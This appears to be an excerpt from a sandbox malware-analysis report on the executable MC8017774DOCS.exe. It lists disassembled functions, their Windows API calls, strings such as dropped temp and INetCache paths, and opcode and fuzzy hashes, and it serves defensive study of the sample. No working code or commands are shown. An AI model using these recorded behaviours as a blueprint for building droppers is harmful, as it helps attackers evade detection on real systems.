Associated: 00000000.00000002.2521694302.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522088503.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_MC8017774DOCS.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll$UXTHEME$\
API String ID: 2200240437-1946221925
Opcode ID: fcd04411c5a1f64f7e9219edfc5ac0d332aa1f587fd7b062781a7321f30925af
Instruction ID: 65f2176863960af248fb2a7cbd18121a9a3b282edca47cb762b3bdaa43f9a997
Opcode Fuzzy Hash: fcd04411c5a1f64f7e9219edfc5ac0d332aa1f587fd7b062781a7321f30925af
Instruction Fuzzy Hash: 14F0217050121967CB10AB68DD0DFDB376CA700304F10447AB547F10D1EBBDDA65CB98

Function 00403116 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 161
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403180
GetTickCount.KERNEL32 ref: 00403204
MulDiv.KERNEL32(7FFFFFFF,00000064,00000000), ref: 0040322D
wsprintfW.USER32 ref: 00403240

Strings

... %d%%, xrefs: 0040323A

Memory Dump Source

Source File: 00000000.00000002.2521649851.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2521630275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521669536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522088503.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_MC8017774DOCS.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: ... %d%%
API String ID: 551687249-2449383134
Opcode ID: e5ebdf3a3088b3206fd1fd2d7a2307a5c5a9c69b21f930b1953cca8bb268646f
Instruction ID: 204c6f4639eb8c290f7f343d6ac391169eef919077521cdf394e4ce58078bb87
Opcode Fuzzy Hash: e5ebdf3a3088b3206fd1fd2d7a2307a5c5a9c69b21f930b1953cca8bb268646f
Instruction Fuzzy Hash: 7A518931900219EBCB10DF65DA84A9F7FA8AB44366F1441BBED14B62C0D7789F50CBA9

Function 004057CE Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNELBASE(?,?,00000000), ref: 00405811
GetLastError.KERNEL32 ref: 00405825
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 0040583A
GetLastError.KERNEL32 ref: 00405844

Strings

C:\Users\user\Desktop, xrefs: 004057CE

Memory Dump Source

Source File: 00000000.00000002.2521649851.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2521630275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521669536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522088503.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_MC8017774DOCS.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: C:\Users\user\Desktop
API String ID: 3449924974-3125694417
Opcode ID: c7775b55854fc79259119bfc4daa9494171cd7cf58f96f816c013ac7f64a11dc
Instruction ID: 32cc50e607dd20b61f2ed470817bc290d965520901a5db6b5155953f1fdd03ed
Opcode Fuzzy Hash: c7775b55854fc79259119bfc4daa9494171cd7cf58f96f816c013ac7f64a11dc
Instruction Fuzzy Hash: B1010872C10619DADF00AFA1C9447EFBBB8EF14355F00803AD945B6281E77896188FA9

Function 00405DBC Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405DDA
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,"C:\Users\user\Desktop\MC8017774DOCS.exe",0040336A,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,76233420,004035B6), ref: 00405DF5

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405DC1, 00405DC5
nsa, xrefs: 00405DC9
"C:\Users\user\Desktop\MC8017774DOCS.exe", xrefs: 00405DBC

Memory Dump Source

Source File: 00000000.00000002.2521649851.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2521630275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521669536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522088503.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_MC8017774DOCS.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: "C:\Users\user\Desktop\MC8017774DOCS.exe"$C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-1820667212
Opcode ID: 579317ece081e1c49d3b274132234632dc0f80c8b4471fc5797a0d742f25062f
Instruction ID: 33897e7ea40e9bcc5f45ceb9d35bf1368e2cdd1c67b8b6f6c5069f2428d8a25f
Opcode Fuzzy Hash: 579317ece081e1c49d3b274132234632dc0f80c8b4471fc5797a0d742f25062f
Instruction Fuzzy Hash: D4F03076610304FBEB009F69DD05F9FBBB8EB95710F10803AED40E7250E6B1AA54CBA4

Function 6E9B177B Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6E9B1B63: GlobalFree.KERNEL32(?), ref: 6E9B1DB6
Part of subcall function 6E9B1B63: GlobalFree.KERNEL32(?), ref: 6E9B1DBB
Part of subcall function 6E9B1B63: GlobalFree.KERNEL32(?), ref: 6E9B1DC0

GlobalFree.KERNEL32(00000000), ref: 6E9B1829
FreeLibrary.KERNEL32(?), ref: 6E9B18AF
GlobalFree.KERNEL32(00000000), ref: 6E9B18D4

Part of subcall function 6E9B2356: GlobalAlloc.KERNEL32(00000040,?), ref: 6E9B2387

Part of subcall function 6E9B2728: GlobalAlloc.KERNEL32(00000040,00000000,?,?,00000000,?,?,?,6E9B17FA,00000000), ref: 6E9B27F8

Part of subcall function 6E9B15C6: lstrcpyW.KERNEL32(?,6E9B4020,00000000,6E9B15C3,?,00000000,6E9B1753,00000000), ref: 6E9B15DC

Strings

, xrefs: 6E9B18B5

Memory Dump Source

Source File: 00000000.00000002.2560495387.000000006E9B1000.00000020.00000001.01000000.00000004.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000000.00000002.2560404950.000000006E9B0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2560576199.000000006E9B3000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2560603132.000000006E9B5000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e9b0000_MC8017774DOCS.jbxd

Similarity

API ID: Global$Free$Alloc$Librarylstrcpy
String ID:
API String ID: 1791698881-3916222277
Opcode ID: c57e560a4f7fecf10f060fd0130746fce5ab0d1756ae2ceadb644f05e30cc407
Instruction ID: a98fe10586dbc9befab344134bcf0e372016a8706fab3f72823e9269adaa4bd7
Opcode Fuzzy Hash: c57e560a4f7fecf10f060fd0130746fce5ab0d1756ae2ceadb644f05e30cc407
Instruction Fuzzy Hash: C141B1B18042459ADF009FF698D8BDB37ACBF57314F0449A5E9169B186EBB8C588CF60

Function 004023E4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 64
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nse865B.tmp,00000023,?,00000000,00000002,00000011,00000002), ref: 0040242F
RegSetValueExW.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nse865B.tmp,00000000,?,00000000,00000002,00000011,00000002), ref: 0040246F
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nse865B.tmp,00000000,?,00000000,00000002,00000011,00000002), ref: 00402557

Strings

C:\Users\user\AppData\Local\Temp\nse865B.tmp, xrefs: 00402420, 00402445, 00402459, 00402464

Memory Dump Source

Source File: 00000000.00000002.2521649851.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2521630275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521669536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522088503.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_MC8017774DOCS.jbxd

Similarity

API ID: CloseValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nse865B.tmp
API String ID: 2655323295-2695492296
Opcode ID: e4c63a464812e31c68653a2d561002cfdcec3cddba2e48d4c9e2fa9e1af61684
Instruction ID: 82080937d165882f0efaaa77ae0bb3c7350c3cd8b3028382441b60bd8f3f090b
Opcode Fuzzy Hash: e4c63a464812e31c68653a2d561002cfdcec3cddba2e48d4c9e2fa9e1af61684
Instruction Fuzzy Hash: 60118171D00104BEEF10AFA5DE89EAEBAB4EB44754F11803BF504B71D1DBB88D419B28

Function 004015C1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 00405C17: CharNextW.USER32(?,?,C:\Users\user\AppData\Local\Temp\nse865B.tmp,?,00405C8B,C:\Users\user\AppData\Local\Temp\nse865B.tmp,C:\Users\user\AppData\Local\Temp\nse865B.tmp,?,?,76233420,004059C9,?,C:\Users\user\AppData\Local\Temp\,76233420,00000000), ref: 00405C25
Part of subcall function 00405C17: CharNextW.USER32(00000000), ref: 00405C2A
Part of subcall function 00405C17: CharNextW.USER32(00000000), ref: 00405C42

GetFileAttributesW.KERNELBASE(?,?,00000000,0000005C,00000000,000000F0), ref: 0040161A

Part of subcall function 004057CE: CreateDirectoryW.KERNELBASE(?,?,00000000), ref: 00405811

SetCurrentDirectoryW.KERNELBASE(?,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne,?,00000000,000000F0), ref: 0040164D

Strings

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne, xrefs: 00401640

Memory Dump Source

Source File: 00000000.00000002.2521649851.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2521630275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521669536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522088503.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_MC8017774DOCS.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\bayberry\krselsretningerne
API String ID: 1892508949-3732074636
Opcode ID: 54df887ae09462074095b126549abc23ab63c7b2394cf9b5eb7ef3472ce62764
Instruction ID: 83f66e59323efd8676d207054edf3c08df55f1f8244358cc2c8da33562713246
Opcode Fuzzy Hash: 54df887ae09462074095b126549abc23ab63c7b2394cf9b5eb7ef3472ce62764
Instruction Fuzzy Hash: 1811D031504500EBCF20BFA1CD0199E36A0EF15329B28493FFA45B22F1DB3E89919A5E

Function 00405273 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 004052A2
CallWindowProcW.USER32(?,?,?,?), ref: 004052F3

Part of subcall function 0040425A: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 0040426C

Strings

, xrefs: 00405283

Memory Dump Source

Source File: 00000000.00000002.2521649851.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2521630275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521669536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522088503.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_MC8017774DOCS.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 1596ab6e3354de94528cf133c19516d9ce94324b0b8efb63eeb8625a5778ab08
Instruction ID: beea61cd65c8703650dc93cdae6e0720761c29505c5582e3341eda9a3c117467
Opcode Fuzzy Hash: 1596ab6e3354de94528cf133c19516d9ce94324b0b8efb63eeb8625a5778ab08
Instruction Fuzzy Hash: BD01BC71200608AFEB208F11DD80AAB3B25EF85355F20807FFA01761D0C73A8C919F2E

Function 00402032 Relevance: 4.6, APIs: 3, Instructions: 73libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000,00000001,000000F0), ref: 0040205D

Part of subcall function 004052FF: lstrlenW.KERNEL32(007A0F00,00000000,007924D8,762323A0,?,?,?,?,?,?,?,?,?,00403257,00000000,?), ref: 00405337
Part of subcall function 004052FF: lstrlenW.KERNEL32(00403257,007A0F00,00000000,007924D8,762323A0,?,?,?,?,?,?,?,?,?,00403257,00000000), ref: 00405347
Part of subcall function 004052FF: lstrcatW.KERNEL32(007A0F00,00403257,00403257,007A0F00,00000000,007924D8,762323A0), ref: 0040535A
Part of subcall function 004052FF: SetWindowTextW.USER32(007A0F00,007A0F00), ref: 0040536C
Part of subcall function 004052FF: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405392
Part of subcall function 004052FF: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 004053AC
Part of subcall function 004052FF: SendMessageW.USER32(?,00001013,?,00000000), ref: 004053BA

LoadLibraryExW.KERNEL32(00000000,?,00000008,00000001,000000F0), ref: 0040206E
FreeLibrary.KERNEL32(?,?,000000F7,?,?,?,?,00000008,00000001,000000F0), ref: 004020EB

Memory Dump Source

Source File: 00000000.00000002.2521649851.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2521630275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521669536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522088503.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_MC8017774DOCS.jbxd

Similarity

API ID: MessageSend$Librarylstrlen$FreeHandleLoadModuleTextWindowlstrcat
String ID:
API String ID: 334405425-0
Opcode ID: 5475f02f106110a916f15ee9ab206587335882ec0c1efca6123a78a63609b3d2
Instruction ID: 589db8f59639f89aa10495d7cc04380c60c8a7cdceb46225d1e949d191b74c22
Opcode Fuzzy Hash: 5475f02f106110a916f15ee9ab206587335882ec0c1efca6123a78a63609b3d2
Instruction Fuzzy Hash: 51218071D00205AACF20AFA5CE4999E7A70BF04358F74813BF511B51E0DBBD8991DB6A

Function 00401B77 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNEL32(00000000), ref: 00401BE7
GlobalAlloc.KERNELBASE(00000040,00000804), ref: 00401BF9

Strings

Call, xrefs: 00401B9E, 00401BA4, 00401BBE

Memory Dump Source

Source File: 00000000.00000002.2521649851.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2521630275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521669536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522088503.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_MC8017774DOCS.jbxd

Similarity

API ID: Global$AllocFree
String ID: Call
API String ID: 3394109436-1824292864
Opcode ID: 913a1641bf1678fd544d2f354cdad38cfe4f2c05cfad93494d599300ab092abb
Instruction ID: ae3691a386166457dd68fa0d34360560a99e353b90efe6619b1f582ab4c46bbf
Opcode Fuzzy Hash: 913a1641bf1678fd544d2f354cdad38cfe4f2c05cfad93494d599300ab092abb
Instruction Fuzzy Hash: 9B219973600100DBDB20EF94DD8595E77A4AB44318735053FF102F32D0DBB8A8909BAD

Function 004024F8 Relevance: 4.5, APIs: 3, Instructions: 47registryCOMMON

Download Yara Rule

APIs

RegEnumKeyW.ADVAPI32(00000000,00000000,?,000003FF), ref: 0040252B
RegEnumValueW.ADVAPI32(00000000,00000000,?,?,?,?,?,?,00020019), ref: 0040253E
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nse865B.tmp,00000000,?,00000000,00000002,00000011,00000002), ref: 00402557

Memory Dump Source

Source File: 00000000.00000002.2521649851.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2521630275.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521669536.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.000000000077C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000782000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000786000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.0000000000788000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007A6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007AB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2521694302.00000000007C5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2522088503.00000000007C7000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_MC8017774DOCS.jbxd

Similarity

API ID: Enum$CloseValue
String ID:
API String ID: 397863658-0
Opcode ID: 56344988bb6116f92104e687caff177940e4dcbfe6d483e74d802acf9f516b16
Instruction ID: aff41db5cb1f43c080787ec2daae132adce55f0eb50407644cc943dfdce05a74
Opcode Fuzzy Hash: 56344988bb6116f92104e687caff177940e4dcbfe6d483e74d802acf9f516b16
Instruction Fuzzy Hash: 59018471904204BFEB149F95DE88ABF7ABCEF80348F14803EF505B61D0DAB85E419B69

Function 6E9B2A74 Relevance: 3.2, APIs: 2, Instructions: 156fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNELBASE(00000000), ref: 6E9B2B33
GetLastError.KERNEL32 ref: 6E9B2C3A

Memory Dump Source

